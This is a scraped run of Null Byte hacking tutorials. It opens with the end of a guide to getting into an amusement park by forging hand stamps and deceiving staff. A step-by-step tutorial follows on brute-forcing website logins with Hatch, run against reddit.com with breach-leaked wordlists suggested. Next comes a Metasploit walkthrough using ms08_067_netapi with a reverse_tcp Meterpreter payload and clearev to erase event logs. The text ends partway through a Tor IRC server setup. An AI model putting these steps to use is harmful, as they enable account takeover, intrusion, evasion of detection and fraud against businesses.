their hand and remember what it is as best you can.Get a marker, roughly the same color, and draw a pattern on your hand and wipe it off to make it look like the stamp was there.Walk quickly through the gates without looking nervous. They won't notice a difference.Exploit the EmployeesThe most important factor here is to stay cool, calm, and determined. Look the employee in the eyes, with a friendly, yet stern look.Walk up to the gate and speak to the employee working.Use a clever line of dialog, while acting like you just walked out of the park, unstamped."Oh, sorry, can you stamp my hand? I forgot to walk through the right lane. I just need to go get my kid's dry clothes in the car"."Hey, can you restamp my hand? It washed off when I washed my hands while eating food in the car.""I forgot my hat here earlier, and wanted to know if I could go look for it."TipsStick your hand out to insinuate that you aren't lying.Stay calm.Go in with the mentality that theyhaveto stamp your hand and that theyaregoing to. It helps, trust me.As long as you maintain your cool and make sure to keep the mentality that you have already won, you will succeed.Visit the Null ByteIRC. Follow me onTwitterorG+for the latest news and updates from Null Byte.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byBob JagendorfRelatedNews:Amusement Park Pits Guests Against Each Other in Augmented Reality WarfareNews:Snapchat Takes a Trip to the Amusement Park with AR for Disney, Universal, & Six FlagsHow To:Avoid getting sick on amusement park ridesHow To:Learn the Secrets of PsychologyHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Use Social Engineering to Hack ComputersNews:Harry Potter Might Be Flying at You Soon with Universal's AR GogglesSocial Engineering:How to Use Persuasion to Compromise a Human TargetHack Like a Pro:The Ultimate Social Engineering HackNews:Real-Life Angry Birds Game Illegally Staged in Chinese Amusement ParkListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersSocial Engineering, Part 1:Scoring a Free Cell PhoneHow To:Score Free Game Product Keys with Social EngineeringNews:Theme/Amusement Park CreepNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Be an Angry Bird for HalloweenDrawing 101:How to Sketch Your First Caricature (Portrait)Social Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:WTFoto's Hobo Advice Challenge Winners!News:50 Minute Interview with David FincherHow To:The Official Google+ Insider's Guide IndexNews:Google social web engineer Joseph Smarr talks about lessons from Google+News:The Importance of Xavier BecerraNews:Local Politicians in the Los Angeles area.How To:Use Social Bookmarking Sites For Effective SEONews:Quick and Dirty Tips to VenuesSocial Engineering:The BasicsHow To:recognize Crowd Control - Part 1Nintendo E3:3DS, Kid Icarus!How To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingNews:Local Parks and RecreationNews:Nextdoor Brings Private Social Networks to a Neighborhood Near YouXbox LIVE Achievement:How to Earn Free Microsoft Points with Social Engineering |
How to Brute-Force Nearly Any Website Login with Hatch Β« Null Byte :: WonderHowTo | The tactic of brute-forcing a login, i.e., trying many passwords very quickly until the correct one is discovered, can be easy for services like SSH or Telnet. For something like a website login page, we must identify different elements of the page first. Thanks to a Python tool for brute-forcing websites called Hatch, this process has been simplified to the point that even a beginner can try it.How Brute-Force Attacks WorkBrute-force attacks take advantage of automation to try many more passwords than a human could, breaking into a system through trial and error. More targeted brute-force attacks use a list of common passwords to speed this up, called dictionary attacks, and using this technique to check for weak passwords is often the first attack a hacker will try against a system.In a brute-forcing attack against a service like SSH, it can be done from the command line easily by tools likeSshtrix. In a single line in a terminal, it's easy to launch a dictionary attack against a discovered SSH server using the built-in password list, making services with bad passwords extremely likely to be broken in to.Don't Miss:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesThe biggest downside to a dictionary attack is that if the password does not exist in thepassword list, the attack will fail. If the password used on a targetedis strong, brute-force attacks can quickly become too expensive in time and resources to use as we start having to try every possible combination of characters. Another downside is that many services now do some fashion of rate-limiting, which detects too many failed login attempts and blocks further attempts for a period, which can substantially slow down a brute-force attack.Why Brute-Force Attacks Are Harder on WebsitesWhile it's easy to attack a service that takes a username and password over the command line, there is a lot more going on in the code of a website. To design this attack, we need to think about what the script needs to know to do its job.We want the script to find the correct password associated with a particular account by entering a guess into the fields of the login page and submitting it until we get a successful result. To do so, we must interact with the graphical user interface of the login page to input the information into the correct fields of both the login and password fields.After we do this, we need to submit the guess by clicking on the "Login" button on the page. Finally, we need the script to know the difference between a failure and a success, so that we can stop the script and identify the correct password guess.All of this is a lot more work and quite confusing for beginners, but after doing so, automating brute-force attacks against the login page of most websites can be done similar to brute-forcing an SSH service.Hatch for Brute-Forcing Web LoginsPython is an ideal language for automating these kinds of attacks, and Hatch uses Python2 to automate the Chrome web browser to stage a dictionary attack against the login of any webpage with a visible login forum. While some websites with hidden login forums that require you to scroll or click to show can confuse the script, most sites are easy to target using this tool.Upon launching Hatch, the script opens a Chrome window for you to inspect the elements of the page you are targeting. After telling the script what site you want to brute-force a login to, it will check to see if the page exists and is accessible. If it is, Hatch will ask what login you want to brute-force, and then request a list of passwords to try during the attack.After Hatch has the information it needs, it will open a second Chrome window and begin automating the attack. You can sit back and watch the attack unfold either in the Chrome window or the terminal that is running the attack. In the terminal, you can watch each password attempt as the script progresses down the list. While this attack is powerful and useful against a wide range of targets, it can also be foiled by rate limiting and other methods of blocking excessive login attempts.What You'll NeedWhile Hatch is cross-platform, it was a little complicated to set up on some systems. We ended up getting Hatch working on a Windows system with a few modifications to the script, which we've included here.To follow this guide, you'll need a Windows system with Chrome and Python 2 installed. The current, modern version of Python is Python3, so you'll need to make sure that you're using the right version when you execute the script. If you run Hatch with Python3, it won't work correctly.You'll also need to install a few dependencies, including a driver, to be able to interact with Chrome programmatically.Step 1: Check Your Version of PythonFirst, we'll need to install a few dependencies. To take care of these, press the Windows key or click the Start menu, then typecmd. After opening a command prompt, make sure you have Python2 installed correctly by typingpython2into the terminal window. You should see aresultlike below.C:\> python2
Ξ» python2
Python 2.7.13 (vs.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits", or "license" for more information.
>>>If you don't, you candownload Python2. Once your Python2 is installed, type the following commands to install dependencies.C:\> pip2 install selenium
C:\> pip2 install requestsStep 2: Install the Chrome DriverNext, we'll need to install the driver that allows us to control Chrome from the Python program. To do so, we will download a file fromthe Chrome Driver website, and then create a folder calledwebdriverson your C drive. Move the downloaded file into this folder. While you can place it in another directory, you would need to modify the Python code.Step 3: Download Hatch & InstallTo install Hatch, you can change directory into your C drive before cloning it to make sure you can find it, or change to another location that you'll be able to find. Typecd ..to go to the C drive of your computer, if that's where you want. You can then download a forked version of Hatchfrom the GitHub pageby opening a terminal window and typing the following.C:\> git clone https://github.com/nsgodshall/Hatch.gitThis forked version has been modified to work on Windows. Once it is done downloading, you can typecd Hatchto change directories into the download folder.C:\> cd HatchStep 4: Run Hatch & Select Your Router LoginNow that we have Hatch on our system and all of the dependencies installed, it's time to run Hatch and look at the way it works. First, let's look at the help file by running the following from inside the Hatch folder.C:\> python2 main.py -hYou should see an output like below.C:\Documents\PythonScripts\Hatch (master -> origin)
Ξ» python2 main.py -h
Usage: main.py [options]
Options:
-h, --help show this help message and exit
-u USERNAME, --username=USERNAME Choose the username
--usernamesel+USERNAMESEL Choose the username selector
--passsel=PASSSEL Choose the password selector
--loginsel=LOGINSEL Choose the login button selector
--passlist+PASSLIST Enter the password list directory
--website=WEBSITE choose a websiteWe can see the main options for Hatch here. To start, let's pick a target on our local network to attack.A good device on your local network to test this on would be something like a router, a printer, or some other device with a login page on the network. You can select this by running anNmapscan on the network to find any IP addresses that have port 80 open. While port 80 is the most common page for web access, you can also search for ports 81, 8080, 8081, 443 to locate the login pages of various devices.Next, we'll need to find the subnet range so that we can scan the local network. To find this, you can useipcalcto calculate your subnet range after finding your computer's local IP address. If your computer, for example, has an IP address of 192.168.0.3, you can runipcalc 192.168.0.3to get the IP range for all possible IP addresses on that network. In this case, that would be 192.168.0.0/24.Once you know the range, run the following Nmap scan on your network, with theiprangeportion changed to add the IP range of your network.C:\> sudo nmap -p 80,8080,81,8081,443 iprangeWhen this scan returns, any service that lists the port as "open" should be hosting a website. Navigate to one like a printer or router that you have permission to log in to by entering the IP address followed by a colon and the port number we discovered in Nmap. You should see a login page like this:Step 5: Identify the Login ElementsNow, we can run Hatch, but we'll still need some more information in order to pull off this attack. Run Hatch by typing the following command, after navigating to the folder you saved the program to earlier.C:\> python2 main.pyA Google Chrome window should open, allowing us to navigate to a website we want to attack and begin identifying the parts of the website we want to manipulate.C:\Documents\PythonScripts\Hatch (master -> origin)
Ξ» python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]Enter the URL to the target website's login page into the first prompt from Hatch. It will check to make sure the website exists and can be accessed. Next, we'll need to identify the login and password elements of the website we're attacking.On our target login page, right-click on the "Username" element, then click on "Inspect."Next, click on the ellipsis (β’β’β’) to the left of the window, and a drop-down menu will appear. Click on "Copy," and then "Copy selector" to copy what Hatch will need to select and interact with this element. It should look something like "#username."Enter the username selector into Hatch, and then repeat the process with the "Password" selector.C:\Documents\PythonScripts\Hatch (master -> origin)
Ξ» python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector:Finally, right-click on the "Login" button to get the selector information, and add that to Hatch as well.Now that we have the elements selected, we'll set the username that we're trying to brute-force. In this case, we'll just typeadmin. The final step will be to select the default list that comes with Hatch. This is "passlist.txt" by default, so we'll use this list in our first attack.C:\Documents\PythonScripts\Hatch (master -> origin)
Ξ» python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316This password list isn't huge, but it does contain many common passwords. PressReturn, and Hatch will open a new window to begin brute-forcing the password with the dictionary attack. You can watch the progress either from the terminal window or by watching the Chrome window that Hatch is automating.C:\Documents\PythonScripts\Hatch (master -> origin)
Ξ» python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
------------------------
Tried password: 123456
for user: admin
------------------------
------------------------
Tried password: password
for user: admin
------------------------
------------------------
Tried password: qwerty
for user: admin
------------------------
------------------------
Tried password: Hackthis1
for user: adminStep 6: Update Your Wordlist & Run Against an External WebsiteIf you're not happy with the wordlist included in Hatch, you can add to it by opening it in a text editor like Nano or adding another wordlist fromany repository of wordlists, such asthose leaked from data breaches. After downloading a wordlist of your choice, you can add it to the "Hatch" folder, and select it instead of the default list.Don't Miss:Automate Brute-Force Attacks for Nmap ScansOnce you have a password list you're happy with, let's go ahead and test this on a standard website. Create a throwaway account on Reddit.com or another site, and remember the login name. Set the password of the account to one that's on one of the word lists.After the dummy account is set up, rerun Hatch, and enterreddit.com/login(or the login page for the website you chose). Next, paste the selectors into the login, password, and button selector. Finally, enter the target username, and select the password list containing the right credentials. PressReturn, and the script should open a Chrome window and begin automating the attack.Once the script detects a successful login, it will output the password that succeeded. While the original script tended to skip this and output the wrong password on Windows, my friend Nick modified the code to prevent this from happening in his forked version. If you get any weirdness from the forked version, you can always try theoriginal Hatch version.β β _ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://www.reddit.com/login
[!] Checking if site exists [~] Enter the username selector: #loginUsername
[~] Enter the password selector: #loginPassword
[~] Enter the Login button selector: body > div > div > div.PageColumn.PageColumn__right > div > form > fieldset:nth-child(10) > button
[~] Enter the username to brute-force: hackthisaccountNB
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:11301/devtools/browser/6fd2f19e-9fef-4921-863f-d3316ec3b808
DevTools listerning on ws://127.0.0.1:11318/devtools/browser/f8d672c9-8e46-477c-a93d-baf0ea6b50e1
------------------------
Tried password: 123456
for user: hackthisaccountNB
------------------------
------------------------
Tried password: password
for user: hackthisaccountNB
------------------------
------------------------
Tried password: qwerty
for user: hackthisaccountNB
------------------------
AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS!
LAST PASS ATTEMPT BELOW
Password has been found: qwerty
Have fun :)How to Defend Against Brute-ForcingWebsites have the best ability to defend against these attacks by making sure to implement common-sense brute-forcing safeguards for dictionary and other types of attacks. Should a regular user be able to try to log in with the wrong password from a strange IP address 100 times? The answer is probably no. Be extra careful of websites that don't take these sorts of precautions, as they will be extra vulnerable to losing your account information.On the user side,picking strong, random passwordsand storing them in apassword managercan help make sure your password never ends up in a password list. In general, using two-factor authentication whenever possible is your best defense against these sorts of tactics, as you'll be alerted of the login attempt. For important accounts, you should always have two-factor authentication enabled.I hope you enjoyed this guide to using Hatch for automating dictionary attacks against web logins! If you have any questions about this tutorial on web dictionary attacks or you have a comment, feel free to write it below in the comments or reach me on [email protected]'t Miss:Use Leaked Password Databases to Create Brute-Force WordlistsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Gain Control of WordPress by Exploiting XML-RPCHow To:Break into Router Gateways with PatatorHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:The Easter Egg Cake and How To Hatch It.How To:Generate Word-Lists with Python for Dictionary Attacks |
Hack Like a Pro: How to Cover Your Tracks So You Aren't Detected Β« Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!Congratulations onyour successful hack that saved the world from nuclear annihilationfrom our little, bellicose, Twinkie-eating dictator. The rest of world may not know what you did, but I do. Good job!Now that we hacked into the malevolent dictator's computer and temporarily disabled his nuclear launch capability, we have to think about covering our tracks so that he and his minions can't track our good works back to us.So, in this hack, we will go into his computer again, implant the Meterpreter and remove any trace that we had been there from his log files. Let's fire upMetasploitand get to work on removing any evidence that we had ever been on the dictator's computer.Step 1: Compromise His System AgainLet's start withthe same hackwe used to get into the dictator's computer initially:exploit/windows/smb/ms08_067_netapiBut instead of using the VNC payload, we will load the Meterpreter payload. Type:msf> use exploit/windows/smb/ms08_067_netapiBefore we move on, let's learn a bit more about this exploit. Type:msf exploit(ms08_067_netapi) infoThis should bring a screenshot below that provides us with some basic information about this exploit. We can see that this hack exploits a parsing flaw in thenetapi dll. In this way, we can place our own payload on the system, which in this case is the Meterpreter.Now we load the payload by typing:msf exploit(ms08_067_netapi) set PAYLOAD windows/meterpreter/reverse_tcpNow that we have the exploit and payload set, we need to set the options. In this case, we need to set our LHOST (us, the attacker) and the RHOST (the victim, our belligerent dictator's computer) IP addresses. Simply type in the IP address of your computer and of his computer.Step 2: Take Control of His ComputerNow that we have everything set to take control, we just type:msf exploit(ms08_067_netapi) exploitIf we are successful, we should see a Meterpreter prompt on our screen. We now have total control of his system!At the meterpreter prompt, we now type:meterpreter > clearevAs you can see in the screenshot above, this command proceeds to clear the event logs on our bellicose dictator's computer so that he and his minions have no clue that we've ever been there. If we could see the event logs on his computer, we will see that all events have been cleared.This is critical both to protect our being found out, but also that we continue to have access to his computer. Once they know that someone has hacked his computer, it's likely they will take measures to prevent our returning to it.Now, make sure to come back for more hacking fun and games on our dictator's computer!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos byThe Guardian,Matthew Collingwood/ShutterstockRelatedHow To:Turn Pandora Likes into a Spotify PlaylistHow To:Use the guitar amp effect in Pro ToolsHow To:Repost Tracks to Populate Your Profile Stream on SoundCloudNews:The OnePlus 7 Pro's GPS Is So Much Better Than Other Phones Thanks to This Unique FeatureHow To:Group tracks in Pro Tools LENews:The Best Apps for Customized Cover Photos on Your Facebook TimelineHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Force Restart Your iPhone 11, 11 Pro, or 11 Pro Max When It's Acting UpHow To:Use instrument tracks in Pro Tools LEVideo Roundup:Look at These Great Examples of What the ARKit Can Do on Your iPhoneHow To:Customize Your AirPods' Double-Tap or Long-Press Gestures to Make Them More UsefulHow To:The Fastest Way to Start a Workout with Google FitNews:Scandy Gives Tango Owners a Taste of 3D ScanningNews:Tango's Reach Is Being Limited by New Zenfone Exclusive to VerizonNews:Hackers Have 92% Success Rate Hacking Gmail on AndroidHow To:Add effects to your track when using Pro ToolsNews:Jeep's New AR Experience Lets You Interact with a Car That Isn't Actually ThereNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:What to Do if You Accidentally Liked a Photo on InstagramHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHow To:Hack Club Penguin for loads of money (03/22/09)How To:Edit drums in Logic ProNews:Apple's Ditching the 'Do Not Track' Option for Safari in iOS 12.2How To:Set Your Android to Atomic Time for a Perfectly Synced ClockHow To:Lay a vocal track using Logic Pro 7News:Former Microsoft Engineers Achieve Best Hand-Tracking Capabilities We've Seen for ARSafari 101:How to Ask Websites & Advertisers Not to Track Your Browsing ActivityHow To:Get Apple's 3D Touch Feature on AndroidNews:Unity Beta 2019.2 Adds Face, 2D & 3D Image Tracking to AR FoundationThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesPSA:Verizon's Shady 'DT Ignite' App Is Silently Installing Adware on PhonesHow To:Charge a Cell Phone on Train TracksHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Edit drums in Digidesign Pro ToolsHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:The 2010 World Cup is upon us.News:StreetRallyNews:Holiday Buildings, Train, Gypsy Horse Released and Unwither Ring! |
How to Host a Deep Web IRC Server for More Anonymous Chatting Β« Null Byte :: WonderHowTo | Internet Relay Chat, or IRC, is one of the most popular chat protocols on the internet. The technology can be connected tothe Tor networkto create an anonymous and secure chatroom β without the use of public IP addresses.IRC servers allow one to create and manage rooms, users, and automated functions, among other tools, to administer an instant messaging environment. IRC's roots began in 1988 when Jarkko Oikarinen decided to attempt to implement a new chat protocol for users at the University of Oulu, Finland. Since then, it's been widely adopted and used as a lightweight means of communication.The chat protocol has proven especially popular in tech communities, with channels for software user groups, support and help, and discussion areas for developers and programmers. Its user base eventually expanded to include hackers and security activists, many of whom enjoyed the protocol but found it lacked some aspects of privacy.Don't Miss:Access the Dark Web While Staying Anonymous with TorFor hackers, and anyone else who desires anonymity, combining IRC with a proxying system such asTorproved to be a valuable solution. Learning to join and create Tor-connected IRC channels allows one to form private communication platforms, for those interested in protecting their identity.Combining Tor and IRC is more complicated than simply downloading theTor Browser, so we will explain how to configure a local IRC server, connect this server to the Tor network, and connect to the server as a client.Step 1: Gather the PrerequisitesAn IRC server will be easiest to combine with Tor on a Linux system, and will be more secure on a distribution intended for server usage. Some popular choices for server operating systems areDebian,Ubuntu Server, orCentOS. Any Linux distribution is technically suitable, and whileKaliis used in this example, it is not necessarily the best option for a secure server.The Linux installation used to host the server may be on a remote Virtual Private Server (VPS), aRaspberry Pi, or even just a personal server on your local network.Don't Miss:How to Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxWith our server itself selected, the first piece of software we'll need to host an IRC server isInspiRCd. This will manage the entirety of the IRC component of our server. We'll also need to installTor. For the server, it must be able to be called as a service, so it's best to install the Tor version available on Linux repositories.On Debian-based distros, we can update our repositories using apt. On other systems, the modules are available from their respective websites. We can do this by opening a terminal window and typing the following.~$ sudo apt-get update
[sudo] password for kali:
Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [16.5 MB]
Get:3 http://kali.download/kali kali-rolling/non-free amd64 Packages [197 kB]
Get:4 http://kali.download/kali kali-rolling/contrib amd64 Packages [101 kB]
Fetched 16.9 MB in 9s (1,974 kB/s)
Reading package lists... DoneAfter our repositories are updated, we can install the necessary software by typing the command below.~$ sudo apt-get install inspircd tor
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
libtre5 tor-geoipdb torsocks
Suggested packages:
gnutls-bin ldap-server tre-agrep mixmaster torbrowser-launcher tor-arm
apparmor-utils obfs4proxy
The following NEW packages will be installed:
inspircd libtre5 tor tor-geoipdb torsocks
0 upgraded, 5 newly installed, 0 to remove and 782 not upgraded.
Need to get 5,156 kB of archives.
After this operation, 24.9 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 libtre5 amd64 0.8.0-6+b1 [59.0 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 inspircd amd64 3.4.0-2 [1,585 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 tor amd64 0.4.3.6-1 [1,943 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 tor-geoipdb all 0.4.3.6-1 [1,492 kB]
Get:5 http://kali.download/kali kali-rolling/main amd64 torsocks amd64 2.3.0-2+b1 [76.3 kB]
Fetched 5,156 kB in 2s (3,322 kB/s)
Selecting previously unselected package libtre5:amd64.
(Reading database ... 287092 files and directories currently installed.)
Preparing to unpack .../libtre5_0.8.0-6+b1_amd64.deb ...
Unpacking libtre5:amd64 (0.8.0-6+b1) ...
Selecting previously unselected package inspircd.
Preparing to unpack .../inspircd_3.4.0-2_amd64.deb ...
Unpacking inspircd (3.4.0-2) ...
Selecting previously unselected package tor.
Preparing to unpack .../tor_0.4.3.6-1_amd64.deb ...
Unpacking tor (0.4.3.6-1) ...
Selecting previously unselected package tor-geoipdb.
Preparing to unpack .../tor-geoipdb_0.4.3.6-1_all.deb ...
Unpacking tor-geoipdb (0.4.3.6-1) ...
Selecting previously unselected package torsocks.
Preparing to unpack .../torsocks_2.3.0-2+b1_amd64.deb ...
Unpacking torsocks (2.3.0-2+b1) ...
Setting up libtre5:amd64 (0.8.0-6+b1) ...
Setting up inspircd (3.4.0-2) ...
update-rc.d: We have no instructions for the inspircd init script.
update-rc.d: It looks like a network service, we disable it.
inspircd.service is a disabled or a static unit, not starting it.
Setting up tor (0.4.3.6-1) ...
Something or somebody made /var/lib/tor disappear.
Creating one for you again.
Something or somebody made /var/log/tor disappear.
Creating one for you again.
update-rc.d: We have no instructions for the tor init script.
update-rc.d: It looks like a network service, we disable it.
Setting up torsocks (2.3.0-2+b1) ...
Setting up tor-geoipdb (0.4.3.6-1) ...
Processing triggers for libc-bin (2.30-4) ...
Processing triggers for systemd (245.4-3) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for kali-menu (2020.2.2) ...Step 2: Configure InspIRCdOnce our IRC server daemon is installed, we can begin to configure it to meet our needs. The configuration file is available on Linux systems at /etc/inspircd/inspircd.conf. We can edit this file using Nano by running the following command. If IndspIRCd was installed correctly, the file which opens should appear similar to the one below.~$ sudo nano /etc/inspircd/inspircd.conf
GNU nano 4.9.2 /etc/inspircd/inspircd.conf
# This is just a more or less working example configuration file, please
# customize it for your needs!
#
# Once more: Please see the examples in /usr/share/doc/inspircd/examples/
<server name="irc.local"
description="Local IRC Server"
network="Localnet">
<admin name="Root Penguin"
nick="Nick"
email="root@localhost">
<bind address="127.0.0.1" port="6667" type="clients">
<power diepass="3456" restartpass="7890" pause="2">
<connect allow="*"
timeout="60"
flood="20"
threshold="1"
pingfreq="120"
sendq="262144"
recvq="8192"
localmax="3"
globalmax="3">
<class name="Shutdown"
commands="DIE RESTART REHASH LOADMODULE UNLOADMODULE RELOAD">
<class name="ServerLink"
commands="CONNECT SQUIT RCONNECT MKPASSWD MKSHA256">
<class name="BanControl"
commands="KILL GLINE KLINE ZLINE QLINE ELINE">
<class name="OperChat"
commands="WALLOPS GLOBOPS SETIDLE SPYLIST SPYNAMES">
<class name="HostCloak"
commands="SETHOST SETIDENT SETNAME CHGHOST CHGIDENT">
<type name="NetAdmin"
classes="OperChat BanControl HostCloak Shutdown ServerLink"
host="netadmin.omega.org.za">
<type name="GlobalOp"
classes="OperChat BanControl HostCloak ServerLink"
host="netadmin.omega.org.za">
<type name="GlobalOp"
classes="OperChat BanControl HostCloak ServerLink"
host="ircop.omega.org.za">
<type name="Helper"
classes="HostCloak"
host="helper.omega.org.za">
<oper name="root"
password="12345"
host="*@localhost"
type="NetAdmin">
<files motd="/etc/inspircd/inspircd.motd"
rules="/etc/inspircd/inspircd.rules">
<channels users="20"
opers="60">
<dns server="127.0.0.1" timeout="5">
<pid file="/var/run/inspircd/inspircd.pid">
<options prefixquit="Quit: "
noservices="no"
qaprefixes="no"
deprotectself="no"
deprotectothers="no"
flatlinks="no"
hideulines="no"
syntaxhints="no"
cyclehosts="yes"
ircumsgprefix="no"
announcets="yes"
disablehmac="no"
hostintopic="yes"
quietbursts="yes"
pingwarning="15"
allowhalfop="yes"
exemptchanops="">
<security hidewhois=""
userstats="Pu"
customversion=""
hidesplits="no"
hidebans="no"
operspywhois="no"
hidemodes="eI"
maxtargets="20">
<performance nouserdns="no"
maxwho="128"
softlimit="1024"
somaxconn="128"
netbuffersize="10240">
<whowas groupsize="10"
maxgroups="100000"
maxkeep="3d">
<timesync enable="no" master="no">
<badnick nick="ChanServ" reason="Reserved For Services">
<badnick nick="NickServ" reason="Reserved For Services">
<badnick nick="OperServ" reason="Reserved For Services">
<badnick nick="MemoServ" reason="Reserved For Services">
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify
^X Exit ^R Read File ^\ Replace ^U Paste Text ^T To SpellThere are several configuration parameters which we should review and edit to suit our purposes. First, we'll want to look at the "server" parameter section seen below.<server name="irc.local"
description="Local IRC Server"
network="Localnet">We can change this to whatever we would like to name our IRC channel, but the "name" option must be formed in a similar format to "irc.website.com." While for most servers, this would be important as it could be relevant to the URL, which resolves to the IRC server's IP, but as we are going to instead make our server available over Tor, we can leave it whatever we choose. For this tutorial, I left these at the default "Local" settings.Don't Miss:Host Your Own Tor Hidden Service with a Custom Onion AddressNext, we should update the "admin" settings.<admin name="Root Penguin"
nick="Nick"
